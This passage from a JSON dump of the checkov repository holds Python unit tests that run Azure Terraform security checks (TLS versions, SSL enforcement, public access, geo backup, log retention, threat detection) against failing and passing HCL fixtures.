    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MSSQLServerMinTLSVersion import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMSSQLServerMinTLSVersion(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server\" \"examplea\" {\n              name                          = var.server_name\n              resource_group_name           = var.resource_group.name\n              location                      = var.resource_group.location\n              version                       = var.sql[\"version\"]\n              administrator_login           = var.sql[\"administrator_login\"]\n              administrator_login_password  = local.administrator_login_password\n              minimum_tls_version           = \"1.1\"\n              public_network_access_enabled = var.sql[\"public_network_access_enabled\"]\n              identity {\n                type = \"SystemAssigned\"\n              }\n              tags = var.common_tags\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mssql_server\" \"examplea\" {\n              name                          = var.server_name\n              resource_group_name           = var.resource_group.name\n              location                      = var.resource_group.location\n              version                       = var.sql[\"version\"]\n              administrator_login           = var.sql[\"administrator_login\"]\n              administrator_login_password  = local.administrator_login_password\n              minimum_tls_version           = \"1.2\"\n              public_network_access_enabled = var.sql[\"public_network_access_enabled\"]\n              identity {\n                type = \"SystemAssigned\"\n              }\n              tags = var.common_tags\n              }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MariaDBGeoBackupEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MariaDBGeoBackupEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass MariaDBGeoBackupEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = false\n            public_network_access_enabled = true\n            #test this i guess\n            ssl_enforcement_enabled = false\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n        \n    def test_failure_empty(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            public_network_access_enabled = true\n            #test this i guess\n            ssl_enforcement_enabled = false\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = true\n            public_network_access_enabled = false\n            #test this i guess\n            ssl_enforcement_enabled = true\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MariaDBPublicAccessDisabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MariaDBPublicAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMariaDBPublicAccessDisabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = false\n            public_network_access_enabled = true\n            #test this i guess\n            ssl_enforcement_enabled = false\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = false\n            public_network_access_enabled = false\n            #test this i guess\n            ssl_enforcement_enabled = true\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MariaDBSSLEnforcementEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MariaDBSSLEnforcementEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMariaDBSSLEnforcementEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = false\n            public_network_access_enabled = false\n            #test this i guess\n            ssl_enforcement_enabled = false\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_mariadb_server\" \"example\" {\n            name                = var.server_name\n            location            = var.resource_group.location\n            resource_group_name = var.resource_group.name\n            administrator_login          = var.admin_login\n            administrator_login_password = random_string.password.result\n            sku_name   = \"B_Gen5_2\"\n            storage_mb = 5120\n            version    = \"10.2\"\n            auto_grow_enabled             = true\n            backup_retention_days         = 7\n            geo_redundant_backup_enabled  = false\n            public_network_access_enabled = false\n            #test this i guess\n            ssl_enforcement_enabled = true\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mariadb_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MonitorLogProfileCategories.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MonitorLogProfileCategories import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMonitorLogProfileCategories(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\"\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = true\n                days    = 7\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = true\n                days    = 365\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_fail_missing(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = false\n                days    = 0\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\n    def test_fail_empty(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = []\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = false\n                days    = 0\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MonitorLogProfileRetentionDays.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MonitorLogProfileRetentionDays import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMonitorLogProfileRetentionDays(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = true\n                days    = 7\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = true\n                days    = null\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = true\n                days    = 365\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n              retention_policy {\n                enabled = false\n                days    = 0\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure_missing(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_monitor_log_profile\" \"example\" {\n              name = \"default\"\n              categories = [\n                \"Action\",\n                \"Delete\",\n                \"Write\",\n              ]\n              locations = [\n                \"westus\",\n                \"global\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_unknown(self):\n        hcl_res = hcl2.loads(\"\"\"\n                   resource \"azurerm_monitor_log_profile\" \"example\" {\n                      name = \"default\"\n                      categories = [\n                        \"Action\",\n                        \"Delete\",\n                        \"Write\",\n                      ]\n                      locations = [\n                        \"westus\",\n                        \"global\",\n                      ]\n                      retention_policy {\n                        enabled = true\n                        days    = var.days\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_monitor_log_profile']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.UNKNOWN, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLEncryptionEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.PostgreSQLEncryptionEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMySQLEncryptionEnabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n            \n              backup_retention_days        = 7\n              infrastructure_encryption_enabled = false\n              auto_grow_enabled            = true\n              public_network_access_enabled    = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n              backup_retention_days        = 7\n              auto_grow_enabled            = true\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-psqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n              administrator_login          = \"psqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n              sku_name   = \"GP_Gen5_4\"\n              version    = \"9.6\"\n              storage_mb = 640000\n              backup_retention_days        = 7\n              infrastructure_encryption_enabled = true\n              auto_grow_enabled            = true\n              public_network_access_enabled    = false\n              ssl_enforcement_enabled          = true\n              ssl_minimal_tls_version_enforced = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLGeoBackupEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.MySQLGeoBackupEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestMySQLGeoBackupEnabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_MySQLGeoBackupEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_mysql_flexible_server.pass\",\n            \"azurerm_mysql_server.pass\",\n        }\n        failing_resources = {\n            \"azurerm_mysql_flexible_server.fail\",\n            \"azurerm_mysql_flexible_server.fail2\",\n            \"azurerm_mysql_server.fail\",\n            \"azurerm_mysql_server.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLPublicAccessDisabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MySQLPublicAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMySQLPublicAccessDisabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"examplea\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = false\n  infrastructure_encryption_enabled = false\n    public_network_access_enabled = true\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_missing_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"examplea\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = false\n  infrastructure_encryption_enabled = false\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n        \n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"azurerm_mysql_server\" \"examplea\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = false\n  infrastructure_encryption_enabled = false\n  public_network_access_enabled = false\n}\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLServerMinTLSVersion.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MySQLServerMinTLSVersion import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMySQLServerMinTLSVersion(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"examplea\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_1\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_mysql_server\" \"examplea\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['examplea']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLServerSSLEnforcementEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MySQLServerSSLEnforcementEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMySQLServerSSLEnforcementEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n\n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n\n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n\n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n\n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n\n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = true\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MySQLTreatDetectionEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.MySQLTreatDetectionEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestMySQLTreatDetectionEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n\n              threat_detection_policy {\n                  enabled = false\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n        \n    def test_failure_empty(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = false\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_mysql_server\" \"example\" {\n              name                = \"example-mysqlserver\"\n              location            = azurerm_resource_group.example.location\n              resource_group_name = azurerm_resource_group.example.name\n            \n              administrator_login          = \"mysqladminun\"\n              administrator_login_password = \"H@Sh1CoR3!\"\n            \n              sku_name   = \"B_Gen5_2\"\n              storage_mb = 5120\n              version    = \"5.7\"\n            \n              auto_grow_enabled                 = true\n              backup_retention_days             = 7\n              geo_redundant_backup_enabled      = true\n              infrastructure_encryption_enabled = true\n              public_network_access_enabled     = false\n              ssl_enforcement_enabled           = true\n              ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n              threat_detection_policy {\n                  enabled = true\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_mysql_server']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_NSGRuleHTTPAccessRestricted.py",
